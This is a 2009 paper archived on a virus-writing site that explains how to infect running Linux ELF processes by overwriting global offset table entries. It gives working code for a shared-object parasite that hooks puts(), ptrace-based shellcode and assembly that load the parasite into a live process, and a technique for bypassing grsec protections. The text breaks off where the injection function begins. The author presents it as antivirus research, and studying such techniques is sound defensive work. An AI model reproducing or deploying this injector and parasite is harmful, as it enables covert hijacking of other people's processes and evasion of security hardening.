Ryan O'Neill 'Modern Day ELF Runtime infection via GOT poisoning' (VX heaven)

By Ryan O'Neill

Modern Day ELF Runtime infection via GOT poisoning

Ryan O'Neill

May 2009

[Back to index] [Comments]

Ryan O'Neill <ryan@bitlackeys.com>

Index

1 - Introduction

1.1 What is this paper? Why did I write it?

This paper is a document that outlines a specific algorithm to hijack shared library calls within a running process. While working on my UNIX AV tool for ELF parasite disinfection and memory resident parasite analysis, I stumbled upon an algorithm for hijacking shared library calls through global offset table poisoning, and coded a hijacker that uses the algorithm to demonstrate it. Runtime infection through shared library linking is not a new concept; so why would I write a paper on it?

I did so for several reason:

Reason #1

Previous papers either:

A. merely outlined the concept without providing complete code.
B. Provided complete code, but provided poor detail and left out key points in the paper itself leaving the reader disappointed and wanting to know more about the algorithm, parasite, and theory.
C. Demonstrate methods of .so loading that are not inherently portable, not compatible with todays versions of glibc, and will not work in Linux OS's that are patched with grsec (see below) and use a hijacking algorithm that modifies the original symbol (easier to detect and slower).

Reason #2

I'm working on UNIX AV code, and I have already devised a method of detecting the infections shown in the previous papers and code such as overwriting the first several bytes of the original symbol with a movl/jmp or a pushl/ret to new code, which is very easy to detect. Whereas I have not yet devised a solution for automatically detecting the method shown in this paper, as it is somewhat more difficult to detect heuristically (but certaintly not impossible).

Reason #3

In this paper I present previously unpublished techniques on bypassing the grsec kernel patch which prevents shellcode injection into the text segment as a result of binary flag mprotect()'s.

Reason #4

I provide a new & up-to-date ELF runtime infector that will successfully run on the latest Linux kernels and glibc, and with only slight modifications; other OS's like FreeBSD.

Reason #5

In releasing my runtime infector, I thought it would be a pity if a proper paper wasn't included to detail the exquisite art in the infection and parasite.

1.2 Who is it for?

The expected general audience would be anyone who takes a deep interest in security and knows the C language, as well as some basic ELF knowledge. ELF is a vast topic and it is recommended that you read the ELF specs, I will only cover the basic aspects that are relevant to this paper. This document is also for people who are already familiar with .so injection concepts and would like to know a more stealth method of .so injection (i.e is modifying the original symbol necessary?) and would also like to walk away with new software for runtime infection that works well in current versions of Linux using new versions of glibc, as well as against security patches that prevent shellcode injection.

1.3 Related papers

There have been some really great papers that have documented different types of ELF infections. The ones most closely related to this paper are:

Shared library redirection via ELF PLT Infection by Silvio

> Silvio's paper is probably the most important to me; the paper you are reading is somewhat of a continuation, but documents pure runtime infection, thus no binary modifications.

Cheating the ELF by Grugq

> This is a good paper that covers ideas for parasites which manipulate dynamic linking on various platforms. I believe there is a project based on this paper called the Subversive dynamic linking library.

The Cerberus ELF Interface by Mayhem

> This paper presents excellent techniques I've never seen before which are demonstrated using elfsh. It shows a method of ET_REL injection which will work in programs that don't have a GOT (staticically compiled binaries), whereas shared object injection will not. It also presents a new technique that extends from Silvios ELF PLT infection for portability and PaX evasion.

2 - ELF & Dynamic Linking

Here is a brief ELF primer. ELF (Executable Linking Format) is the file format used for executables and object files in Linux (Among other OS's). It is this format that contains all of the code and data for a program and information on how it will be loaded into memory. There are many components involved in how a program is organized on disk and what it takes to be loaded into memory with the right information so that it executes, I will cover some basic aspects.

An ELF file is made up of segments and sections, as well as headers to describe their contents. segments contain sections within them, some of these segments are loaded into memory and are therefore considered to be 'loadable segments' (marked by PT_LOAD), and others are not. The two primary loadable segments that contain program data are the text segment and the data segment; one of which contains the actual program code, and the other containing initialized and uninitialized data -- basically anything that's not declared on the stack (i.e global variables). The headers that describe these segments are called program headers, and they look like this:

```
typedef struct {
    Elf32_Word      p_type;
    Elf32_Off       p_offset;
    Elf32_Addr      p_vaddr;
```

```
    Elf32_Addr      p_paddr;
    Elf32_Word      p_filesz;
    Elf32_Word      p_memsz;
    Elf32_Word      p_flags;
    Elf32_Word      p_align;
} Elf32_Phdr;
```

As mentioned above, this is not an ELF tutorial so we will only be covering a small portion of this;

- p_vaddr is where in memory the segment starts
- p_offset is how many bytes into the file the segment starts
- p_type defines the type i.e is it a loadable segment? PT_LOAD
- p_filesz is how large the segment is on disk
- p_memsz is how large the segment is in memory

We'll leave it at that for now. The next aspect to touch upon is the ELF sections -- these are what organize data within the segments i.e one part of the text segment might contain data such as strings (like .rodata), whereas another section denotes where actual executable code exists (like .text). To describe these sections there exists section headers, which look like this:

```
typedef struct {
    uint32_t        sh_name;
    uint32_t        sh_type;
    uint32_t        sh_flags;
    Elf32_Addr      sh_addr;
    Elf32_Off       sh_offset;
    uint32_t        sh_size;
    uint32_t        sh_link;
    uint32_t        sh_info;
    uint32_t        sh_addralign;
    uint32_t        sh_entsize;
} Elf32_Shdr;
```

- sh_name contains an offset into the string table for the name of its section
- sh_type defines the type of section
- sh_flags will tell us if a section is RWX.
- sh_addr is the start vaddr of the section in memory
- sh_offset is the offset of where the section starts in the file
- sh_link points to another section (in our case symbolic information)
- sh_size is the size of the section on file and in memory

So as you can see, these headers provide us with a map to the entire file or process image but in order to locate these headers we must first get the initial ELF header. The beginning of every executable or object file starts with the initial ELF header, which contains a bit of magic; The ELF magic is `7f 45 4c 46` -- or 7f ELF.

```
typedef struct {
	unsigned char	e_ident[EI_NIDENT];
	uint16_t	e_type;
	uint16_t	e_machine;
	uint32_t	e_version;
	ElfN_Addr	e_entry;
	ElfN_Off	e_phoff;
	ElfN_Off	e_shoff;
	uint32_t	e_flags;
	uint16_t	e_ehsize;
	uint16_t	e_phentsize;
	uint16_t	e_phnum;
	uint16_t	e_shentsize;
	uint16_t	e_shnum;
	uint16_t	e_shstrndx;
} Elf32_Ehdr;
```

All we really need to be concerned with here are the following:

- e_type this will tell us if a file is executable, dynamic, or relocatable
- e_phoff is the offset of the program headers from the start of the file
- e_shoff is the offset of the section headers from the start of the file
- e_phnum is the number of program headers
- e_shnum is the number of section headers

So accessing and manipulating an ELF file or process image is pretty easy.

```
/* open, fstat the ELF file, then mmap it */
unsigned char *mem = mmap(0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);

Elf32_Ehdr *ehdr = (Elf32_Ehdr *)mem;
Elf32_Phdr *phdr = (Elf32_Phdr *)(mem + ehdr->e_phoff);
Elf32_Shdr *shdr = (Elf32_Shdr *)(mem + ehdr->e_shoff);
```

To modify the ELF headers its best to modify the privately mmap'd memory space, then rewrite the file from scratch with the mods (ELF viruses or infectors do this) and if we are modifying the process image then ptrace can be used.

For the sake of this paper and simplicity, our test program -- our target -- will be very simple:

```
int main(void)
{
	for(;;)
	{
		printf("test!\n");
		sleep(5);
	}
}
```

To get a visual idea of how an ELF file is laid out try the readelf command i.e

```
# readelf -l <file> (to get program header info)
# readelf -S <file> (to get section header info)
# readelf -r <file> (to get relocation info, covered more below)
```

Lets take a look at the section headers of our test program:

```
localhost hijack$ readelf -S test

There are 29 section headers, starting at offset 0x1204:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .hash             HASH            08048188 000188 00002c 04   A  5   0  4
  [ 4] .gnu.hash         GNU_HASH        080481b4 0001b4 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d4 0001d4 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048234 000234 000050 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          08048284 000284 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048290 000290 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482b0 0002b0 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b8 0002b8 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482d8 0002d8 000017 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000050 04  AX  0   0  4
  [13] .text             PROGBITS        08048340 000340 000194 00  AX  0   0 16
  [14] .fini             PROGBITS        080484d4 0004d4 00001c 00  AX  0   0  4
  [15] .rodata           PROGBITS        080484f0 0004f0 00000e 00   A  0   0  4
  [16] .eh_frame         PROGBITS        08048500 000500 000004 00   A  0   0  4
  [17] .ctors            PROGBITS        08049f0c 000f0c 000008 00  WA  0   0  4
  [18] .dtors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4
  [19] .jcr              PROGBITS        08049f1c 000f1c 000004 00  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049f20 000f20 0000d0 08  WA  6   0  4
```

```
  [21] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4
  [22] .got.plt          PROGBITS        08049ff4 000ff4 00001c 04  WA  0   0  4
  [23] .data             PROGBITS        0804a010 001010 00000c 00  WA  0   0  4
  [24] .bss              NOBITS          0804a01c 00101c 000004 00  WA  0   0  4
  [25] .comment          PROGBITS        00000000 00101c 00010a 00      0   0  1
  [26] .shstrtab         STRTAB          00000000 001126 0000db 00      0   0  1
  [27] .symtab           SYMTAB          00000000 00168c 000330 10     28  31  4
  [28] .strtab           STRTAB          00000000 0019bc 00014e 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
```

As you can see there are many sections, the ones we will ultimately be interested in are .text, .dynsym, .rel.plt, .rel.dyn

Dynamic linking

Lets move on to the dynamic linking aspect of things, since afterall we are going to be doing a bit of dynamic linking of our own. Lets briefly remember what a dynamically shared object library is. Dynamically shared objects, unlike static libraries (.a files) are code that is not actually linked until runtime, hence dynamically linked. When an executable is compiled, symbolic references to the shared object functions are made, but at runtime these references will become symbolic definitions; actual addresses to where the functions have been mmap'd into the process address space. For instance, within an executable there will be multiple calls to libc functions, i.e a call to strcpy may look like "call 8048330 strcpy@plt" that address '8048330' is to a location in the .plt (Procedure linking table), the PLT will resolve the functions real address at runtime. Lets take a look at our PLT:

```
080482f0 <__gmon_start__@plt-0x10>:
 80482f0:       ff 35 f8 9f 04 08       pushl  0x8049ff8
 80482f6:       ff 25 fc 9f 04 08       jmp    *0x8049ffc
 80482fc:       00 00                   add    %al,(%eax)
        ...

08048300 <__gmon_start__@plt>:
 8048300:       ff 25 00 a0 04 08       jmp    *0x804a000
 8048306:       68 00 00 00 00          push   $0x0
 804830b:       e9 e0 ff ff ff          jmp    80482f0 <_init+0x18>

08048310 <__libc_start_main@plt>:
 8048310:       ff 25 04 a0 04 08       jmp    *0x804a004
 8048316:       68 08 00 00 00          push   $0x8
 804831b:       e9 d0 ff ff ff          jmp    80482f0 <_init+0x18>

08048320 <sleep@plt>:
 8048320:       ff 25 08 a0 04 08       jmp    *0x804a008
 8048326:       68 10 00 00 00          push   $0x10
```

```
 804832b:       e9 c0 ff ff ff          jmp    80482f0 <_init+0x18>

08048330 <puts@plt>:
 8048330:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048336:       68 18 00 00 00          push   $0x18
 804833b:       e9 b0 ff ff ff          jmp    80482f0 <_init+0x18>
```

The ELF spec gives the best explanation of the PLT and the GOT (Global offset table) -- it is necessary to know what the GOT is first (Which is what we will be modifying later on)

extern Elf32_Addr _GLOBAL_OFFSET_TABLE_[];

Here is a paragraph on the GOT from the ELF spec [4]:

> Position-independent code cannot, in general, contain absolute virtual addresses. Global offset tables hold absolute addresses in private data, thus making the addresses available without compromising the position-independence and sharability of a program's text. A program references its global offset table using position-independent addressing and extracts absolute values, thus redirecting position-independent references to absolute locations.

So after a symbol in an executable has been resolved at runtime, its absolute address will be stored in the global offset table, and future calls to that function reference the global offset table... THUS modifying it could -- under special circumstances-- redirect a library function call to another place in memory; we will do this later on. So lets examine the .plt section of our program, as shown by objdump up above. The first time a function is called, the following process happens (we will use puts() from above as an example)

```
08048330 <puts@plt>:
 8048330:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048336:       68 18 00 00 00          push   $0x18
 804833b:       e9 b0 ff ff ff          jmp    80482f0 <_init+0x18>
```

The PLT first does an indirect jmp to *0x804a00c which is an entry in the GOT that does not yet hold the resolved address for puts(), but instead has an address to the next instruction in the PLT; which is a push:

```
8048336:       68 18 00 00 00          push   $0x18
```

The value 0x18 or 24 is pushed onto the stack, this is the relocation offset for puts() it is actually an offset into the relocation table and will be of type R_386_JUMP_SLOT

```
localhost hijack$ readelf -r test

Relocation section '.rel.dyn' at offset 0x2b0 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000106 R_386_GLOB_DAT    00000000   __gmon_start__
```

```
Relocation section '.rel.plt' at offset 0x2b8 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a004  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a008  00000307 R_386_JUMP_SLOT   00000000   sleep
0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts
```

There are 3 fields, lets look at the 'Offset'. If you notice the relocation offset for puts() specifies the address of the global offset entry that the PLT jumped to before pushing $0x18 onto the stack. The relocation offset '0804a00c' will be the location that the absolute address for puts() is eventually stored. Lets move onto the next instruction by the PLT:

```
804833b:       e9 b0 ff ff ff          jmp    80482f0 <_init+0x18>
```

This is a jump back to the first PLT entry '80492f0', known as PLT0 -- ours looks like:

```
080482f0 <__gmon_start__@plt-0x10>:
 80482f0:       ff 35 f8 9f 04 08       pushl  0x8049ff8
 80482f6:       ff 25 fc 9f 04 08       jmp    *0x8049ffc
```

First know that the global offset table has its 2nd and 3rd entry reserved:

The first instruction above pushes the 2nd entry of the GOT onto the stack, this value is the address of the link_map (struct link_map), and the next instruction jumps to 0x8049ffc which is the 3rd entry in the global offset table, and this transfers control to the dynamic linker. The dynamic linker gets the offset for the relocation entry from the stack (0x18 in our case), resolves the address for the symbol and stores it in the GOT entry specified by the relocation offset (r_offset) which in our case is 804a00c. Future calls to puts@plt will jump directly to 804a00c which now contains the resolved address to the library function, instead of the address to the push $0x18.

By default Linux uses what's called Lazy linking, this means that a symbol is not resolved until it is called for the first time; this behavior can be changed with LD_BIND_NOW environment variable.

So now that the process of dynamic linking has been explained, we can think of ways to subvert it. There are two methods that came to my mind when considering the possibilities for shared library call hijacking, here they are.

Method A. overwrite the first 6 bytes of the shared library function with a push $0x0, ret. then patch it with the address of the replacement library function, and temporarily removing the push/ret from the original function before invoking it through a saved function pointer.

Method B. overwrite the global offset table entry for the function you want to hijack with the mmap'd address of your replacement function, then jump to the original function from the end of the replacement function.

I decided that method B. would have better runtime speed. It is this method that we will be discussing in this paper. The only real dilemma we have, is getting our shared library (the parasite) loaded into the process image on

the fly, but first we must have a proper parasite design.

3 - Writing the parasite

Our parasite is a shared library object, more specifically a replacement function to do whatever we want -- this means we can perform additional checks and modify the arguments before invoking the original function. Designing the parasite is a lot of fun, and is fortunately the easy part of the process. In designing the algorithm for hijacking shared library calls, there are a number of rules that must be in place for everything to work.

1. Our shared object should be position independent code, this is because we mmap() it into the process but don't apply any relocations. A function like dlopen() will parse and apply the relocs for you, but our loader code does not use dlopen(), instead we use a more simple approach which is to mmap() our shared object, and make sure the object is completely position independent, or is statically compiled using Diet Libc. The initial idea was to use something like dlopen; in modern versions of glibc, there exists only __libc_dlopen_mode() which provided some problems, which I'm sure could be worked out, but I opted not to use it for this paper because I felt it wasn't necessary; You should be able to write the parasite completely in C, read below:

NOTE on Diet Libc

Avoiding libc in your parasite might be undesirable for what you want to do, but using libc will result in us needing to parse relocations, therefore requiring more sophisticated object loading shellcode. Fortunately there is a good way around that, which is to use Diet libc, a compressed and lightweight version of libc that you can statically compile into your shared library to avoid relocs. The provided hijacking technique and code should work fine with such a compiled library.

PIC Example:

If the parasite is to be (PIC) position independent code, you should obviously not be using calls to libc etc. instead, only direct calls to syscalls, and they must be suited for PIC.

Here is an example of a position independent way to use a syscall

```
static int
_write (int fd, void *buf, int count)
{
 long ret;

 __asm__ __volatile__ ("pushl %%ebx\n\t"
                       "movl %%esi,%%ebx\n\t"
                       "int $0x80\n\t" "popl %%ebx":"=a" (ret)
                       :"0" (SYS_write), "S" ((long) fd),
                       "c" ((long) buf), "d" ((long) count));
 if (ret >= 0) {
  return (int) ret;
 }
```

```
 return -1;
}
```

Also, your parasite make file should look something like this:

```
gcc -fPIC -c libtest.c -nostdlib
ld -shared -soname libtest.so.1 -o libtest.so.1.0 libtest.o
```

2. The end of our replacement function needs to somehow return flow of execution back to the original function with the stack pointer in place etc. My parasite framework ends with a function epilogue, and an indirect jmp back to the original function; this is one way a parasite function can end:

```
 __asm__ __volatile__
   ("movl %ebp, %esp\n" "pop %ebp\n" "movl $0x00000000, %eax\n" "jmp *%eax");
```

Keep it volatile so it stays in place for when we go to patch it.

The test parasite

Our target program, if you recall, simply prints the word 'test!' every 5 seconds; as a result we will be hijacking the libc puts() function. Our replacement function should have the same parameters as the original function.

```
/************************ SHARED OBJECT PARASITE ***********************/

#include <sys/types.h>
#include <sys/syscall.h>

int evilprint (char *);

static int
_write (int fd, void *buf, int count)
{
 long ret;

 __asm__ __volatile__ ("pushl %%ebx\n\t"
                       "movl %%esi,%%ebx\n\t"
                       "int $0x80\n\t" "popl %%ebx":"=a" (ret)
                       :"0" (SYS_write), "S" ((long) fd),
                       "c" ((long) buf), "d" ((long) count));
 if (ret >= 0) {
   return (int) ret;
 }
 return -1;
}
```

```
int
evilprint (char *buf)
{

/* we must allocate our strings this way on the stack to be PIC */
/* otherwise they get stored into .rodata and we can't use them */

  char new_string[5];
      new_string[0] = 'e';
      new_string[1] = 'v';
      new_string[2] = 'i';
      new_string[3] = 'l';
      new_string[4] = 0;

/* we are prepending the word 'evil' to whatever string is on the stack */

  _write (1, new_string, 5);
  _write (1, buf, 5);

  char newline[1];
      newline[0] = '\n';

  _write (1, newline, 1);

/* perform the function epilogue, and setup the jump which our */
/* hijacker will patch with the right address */

  __asm__ __volatile__
    ("movl %ebp, %esp\n" "pop %ebp\n" "movl $0x00000000, %eax\n" "jmp *%eax");

}

void
_init ()
{
}
void
_fini ()
{
}
```

There is definitely room for innovation with the parasite, and modifying the arguments is possible by modifying the stack, in which its easiest to use a function pointer instead of the jmp. If we wanted our parasite to simply modify the string on the stack that puts() takes as an argument, our parasite function would look like this instead:

```
/* parasite that modifies args */
```

```
int
evilprint (char *buf)
{

  char new_string[5];
      new_string[0] = 'e';
      new_string[1] = 'v';
      new_string[2] = 'i';
      new_string[3] = 'l';
      new_string[4] = 0;

  int (*origfunc)(char *p) = 0x00000000;
  return origfunc(new_string);
}
```

And our hijacker would need to patch the function pointer with the address of the original puts() function. This works like a charm.

4 - Loading the parasite

Obviously a process will not execute a library function if the library is not loaded into the process address space. Perhaps the trickiest part of writing this hijacker was designing the best way to get the evil shared object loaded; By the end of writing this paper I had two reliable methods of forcing the target process to load your shared object, one of which can bypass grsec memory protection for ELF segment binary flags.

My initial method was purely proof of concept so that I could simply employ my hijacking algorithm without my hijacker having to actually do the library loading -- this was to use LD_PRELOAD. This would be stupid and pointless since you have to restart the process you want to infect after setting the variable so that it loads your lib. That would be no good at all, because we want to infect a process ON-THE-FLY.

As mentioned earlier, __libc_dlopen_mode is available in libc and can load shared objects, but I did not study it enough to get it working... it may need to be initialized first.

The general method I came up with was to simply mmap the library one time as rwx for data and text, this method does not handle relocations, but is fine if we use a parasite that stays away from dynamic linking.

4.1 Loading the library the normal way

```
_start:
      jmp B
A:

      # fd = open("libtest.so.1.0", O_RDONLY);

      xorl %ecx, %ecx
      movb $5, %al
```

```
popl %ebx
xorl %ecx, %ecx
int $0x80

subl $24, %esp

    # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0);

xorl %edx, %edx
movl %edx, (%esp)
movl $8192,4(%esp)
movl $7, 8(%esp)
movl $2, 12(%esp)
movl %eax,16(%esp)
movl %edx, 20(%esp)
movl $90, %eax
movl %esp, %ebx
int $0x80

# We need this to transfer control back to our hijacker once
# our shellcode is done executing

int3

# To get the address of the string dynamically we use call/pop method
B:
call A
.string "libtest.so.1.0"
```

This is simple code that mmap's the evil shared object (which is about 5k) into the process address space, we mmap with rwx; usually libc is mmap'd into a process several times, once for the text segment (with execute) and once for the data segment (with read). In our case we mmap the lib only once with rwx (*unless we are messing with GRSEC*) -- but how do we get the process to execute this code? The answer is that we must use ptrace to inject the code into the running process, then modify the instruction pointer to execute it.

4.2 Loading the library the Grsec way

I'd like to give credit to andrewg for conceiving of this idea, which I implemented for the first time (that I've seen).

The grsec kernel patch for Linux has many features, and several of them apply to this paper, the primary one being that the text segment is marked read/execute only and therefore will not be writeable to inject shellcode with ptrace. This is a problem that we overcome using the following algorithm.

1. Use PTRACE_SYSCALL to locate sysenter

   sysenter is used in modern Linux kernels instead of interrupt 0x80 because it is much faster. This can be found in the linux-gate marked as vdso within the map file of a process. In grsec all of the base addresses

of memory maps are blank, and there fore getting the address from that file is useless. Here is what we are looking for:

```
fffe420 <__kernel_vsyscall>:
ffffe420:       51                      push   %ecx
ffffe421:       52                      push   %edx
ffffe422:       55                      push   %ebp
ffffe423:       89 e5                   mov    %esp,%ebp
ffffe425:       0f 34                   sysenter
```

Our goal is to locate the next syscall in the running process, and get the eip value. The eip value is most likely going to be several bytes past sysenter, so maybe ffffe430.

2. Save the registers right before the syscall is called with sysenter.
3. Modify %eax with the syscall number of the syscall we want, in our case it is SYS_open.
4. Modify the args to suite your syscall, and store necessary args into the data segment (not the stack). In our case we save the first N bytes of the data segment, then write our string "/lib/libtest.so.1.0".
5. Locate sysenter by reading (reg.eip - 20) into a buffer with ptrace, then search through the buffer for the instructions \x0f\x34, so sysenter = (reg.eip - 20) + index.
6. Modify %eip to point at sysenter, and use PTRACE_SINGLESTEP to execute the instructions up until sysenter. Repeat steps 3 - 6, but use mmap(), then proceed to 7.
7. Restore data segment

The algorithm above is employed in the code provided later on.

It is also worth noting that we could modify the .text memory layout using mmap() with MAP_FIXED, and then inject code into the text segment, but this modification would be overly apparent in /proc/pid/maps.

5 - ptrace primer

Ptrace is an awesome syscall and is used by debuggers like gdb and tools like strace to follow and even modify the execution of a program. We will be using ptrace for both reading and modifying the process image as well as changing the flow of execution for a limited period of time. It is important to understand ELF if you want to effectively use ptrace --

> SYNOPSIS
>
> #include <sys/ptrace.h>
>
> long ptrace(enum __ptrace_request request, pid_t pid,
> void *addr, void *data);

We will be using several specific ptrace requests, and because this is not a ptrace tutorial I will give a brief overview of them.

PTRACE_ATTACH - This will attach the calling process to the process you want to trace-- thus making the calling process the parent. A SIGSTOP is sent to the traced process, so ptrace requests of this type should follow with a wait() or waitpid(). We can refer to processes that make this request as the 'tracing process'.

PTRACE_PEEKTEXT - This request allows the tracing process to read from a virtual memory address within the traced process image -- for instance, we could read the entire text segment into a buffer for analyzing, or check values in the data segment.

PTRACE_POKTEXT - This request allows the tracing process to modify any location within the traced process image, including privately mapped shared libraries!

PTRACE_GETREGS - This request allows the tracing process to get a copy of the traced processes registers i.e eax,ebx,ecx,edx,edi,esi,esp,eip etc.

PTRACE_SETREGS - This request allows the tracing process to set new register values for the traced process i.e modify the value of the instruction pointer.

PTRACE_CONT - This request says to that the stopped traced process may resume.

PTRACE_DETACH - This request resumes the child process as well, but detaches.

PTRACE SYSCALL - This request restarts the process, but arranges for it to stop at the entrance/exit of the next syscall. This allows us to inspect the arguments for the syscall, and even modify them.

PTRACE SINGLESTEP - This starts the process, but stops it after the next instruction.

The best way to begin demonstrating ptrace and the ideas so far presented is to outline our algorithm for the hijacker and begin to implement code for it.

6 - Hijacker algorithm

1. Locate binary of target process by parsing /proc/<pid>/maps
2. Parse PLT to get the desired GOT address
3. Attach to the process
4. Find a place to inject our evil .so loader shellcode

STEPS 5 - 8 are different for GRSEC patched kernels

NON-GRSEC Method

5. Inject new code, and save original code we are overwriting
6. Get registers from process, and modify eip (save old eip) to point to our code
7. Resume traced process so that it executes .so loader shellcode and loads our lib
8. Reset registers, replace original code, and allow process to resume

GRSEC Method

5. Locate sysenter

6. Save register state
7. Modify registers and args to call open/mmap
8. Execute sysenter with our modified args

9. Get base address of our evil library from %eax
10. Find address of evil function within shared lib by scanning for its code sequence
11. Retrieve and save value stored in desired GOT address (original function address)
12. Patch the evil functions transfer-code, with original function address (so it can jmp/call to original)
13. Overwrite desired GOT address with new value (evil function address)
14. Detach from process and enjoy

Lets go over it more closely...

Step 1

So our first step should be to locate the binary that spawned the target process; a look into the processes map file looks something like this:

```
-- /proc/<pid>/map --

08048000-08049000 r-xp 00000000 08:01 5654053    /home/elf/got_hijack/test
08049000-0804a000 rw-p 00000000 08:01 5654053    /home/elf/got_hijack/test
b7e19000-b7e1a000 rw-p b7e19000 00:00 0
b7e1a000-b7f55000 r-xp 00000000 08:01 9127170    /lib/tls/i686/cmov/libc-2.5.so
b7f55000-b7f56000 r--p 0013b000 08:01 9127170    /lib/tls/i686/cmov/libc-2.5.so
b7f56000-b7f58000 rw-p 0013c000 08:01 9127170    /lib/tls/i686/cmov/libc-2.5.so
b7f58000-b7f5b000 rw-p b7f58000 00:00 0
b7f65000-b7f68000 rw-p b7f65000 00:00 0
b7f68000-b7f81000 r-xp 00000000 08:01 9093141    /lib/ld-2.5.so
b7f81000-b7f83000 rw-p 00019000 08:01 9093141    /lib/ld-2.5.so
bff6d000-bff82000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
```

This file shows us information about the process image, including the executable that spawned the process, and the shared libraries that are mapped into the process address space. We also see the base address on the first line (which is 8048000), might as well grab it while were in the file, although we could also get it from the text phdr->p_vaddr just as easily. For ET_DYN files this is a little different, we get the base address and then depending on where it gets mmap'd into memory calculate the offset to get the real base. The code for parsing this file is very simple and not worth showing until the full hijacker is documented itself later on in the paper, however it is important to note that grsec patched kernels will not show the base addresses in the map file and therefore it is imperative to get these elsewhere i.e phdr->p_vaddr.

Step 2

Moving onto the second step, this is where we specify the function that we want to hijack, then pull its relocation entry so that we can get its corresponding GOT address/offset which will hold the address of the function we want to hijack. Parsing the executable to get this information is sufficient, which is why we must locate it in the previous step (although parsing the process image alone will work too). The function I wrote to do this will basically pull the information that 'readelf -r' pulls from an ELF binary.

```
/* my custom struct linking_info looks like:
struct linking_info
{
	char name[256]; /* symbol name */
	int index;	/* symbol number */
	int count;	/* total # of symbols */
	uint32_t offset; /* addr/offset into the GOT */
};
*/

/* unsigned char *mem is a pointer to an mmap of the ELF file */
struct linking_info * get_plt(unsigned char *mem)
{
	Elf32_Ehdr *ehdr;
	Elf32_Shdr *shdr, *shdrp, *symshdr;
	Elf32_Sym *syms, *symsp;
	Elf32_Rel *rel;

	char *symbol;
	int i, j, symcount, k;

	struct linking_info *link;

	ehdr = (Elf32_Ehdr *)mem;
	shdr = (Elf32_Shdr *)(mem + ehdr->e_shoff);

	shdrp = shdr;

	for (i = ehdr->e_shnum; i-- > 0; shdrp++)
	{
		if (shdrp->sh_type == SHT_DYNSYM)
		{
			symshdr = &shdr[shdrp->sh_link];
			if ((symbol = malloc(symshdr->sh_size)) == NULL)
				goto fatal;
			memcpy(symbol, (mem + symshdr->sh_offset), symshdr->sh_size);

			if ((syms = (Elf32_Sym *)malloc(shdrp->sh_size)) == NULL)
				goto fatal;
```

```
            memcpy((Elf32_Sym *)syms, (Elf32_Sym *)(mem + shdrp->sh_offset), shdrp->sh_size);
            symsp = syms;

            symcount = (shdrp->sh_size / sizeof(Elf32_Sym));
            link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);
            if (!link)
                  goto fatal;

                        link[0].count = symcount;
            for (j = 0; j < symcount; j++, symsp++)
            {
                  strncpy(link[j].name, &symbol[symsp->st_name], sizeof(link[j].name)-1);
                  if (!link[j].name)
                        goto fatal;
                  link[j].index = j;
            }
            break;
      }
}
for (i = ehdr->e_shnum; i-- > 0; shdr++)
{
      switch(shdr->sh_type)
      {
            case SHT_REL:
                  rel = (Elf32_Rel *)(mem + shdr->sh_offset);
                  for (j = 0; j < shdr->sh_size; j += sizeof(Elf32_Rel), rel++)
                  {
                        for (k = 0; k < symcount; k++)
                        {
                              if (ELF32_R_SYM(rel->r_info) == link[k].index)
                                    link[k].offset = rel->r_offset;
                        }
                  }
                  break;
            case SHT_RELA:
                  break;

            default:
                  break;
      }
}

return link;
fatal:
```

```
        return NULL;
}
```

To call the function we could do:

```
if ((lp = (struct linking_info *)get_plt(mem)) == NULL)
  {
        printf("get_plt() failed\n");
        goto done;
  }
```

'struct lp' will provide us with the relevant PLT info to read/write the GOT entry that represents our desired symbol to hijack.

Step 3

At this point we are more than ready to attach to the process, this can be done using the PTRACE_ATTACH request:

```
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
{
    printf("Failed to attach to process\n");
    exit(-1);
}
waitpid(pid, &status, WUNTRACED);
```

Step 4-8 (non grsec method)

We need to force the target process to load our evil .so (shared object); in order to do so we will need to inject our loader shellcode into the process image somewhere. Some people might use the stack for this purpose, but since some systems have a non- executable stack, it would be wise to use the text segment. For this we can simply start at the base 8048000 and overwrite the first 90 bytes with our shellcode. We must make sure to save the original code so we can replace it when we are done.

Here is our shellcode:

```
char mmap_shellcode[] =
    "\xe9\x3b\x00\x00\x00\x31\xc9\xb0\x05\x5b\x31\xc9\xcd\x80\x83\xec"
    "\x18\x31\xd2\x89\x14\x24\xc7\x44\x24\x04\x00\x20\x00\x00\xc7\x44"
    "\x24\x08\x07\x00\x00\x00\xc7\x44\x24\x0c\x02\x00\x00\x00\x89\x44"
    "\x24\x10\x89\x54\x24\x14\xb8\x5a\x00\x00\x00\x89\xe3\xcd\x80\xcc"
    "\xe8\xc0\xff\xff\xff\x6c\x69\x62\x74\x65\x73\x74\x2e\x73\x6f\x2e"
    "\x31\x2e\x30\x00";
```

Our hijacker will use the following function to force the target process into loading our shared object.

```
int mmap_library(int pid)
{
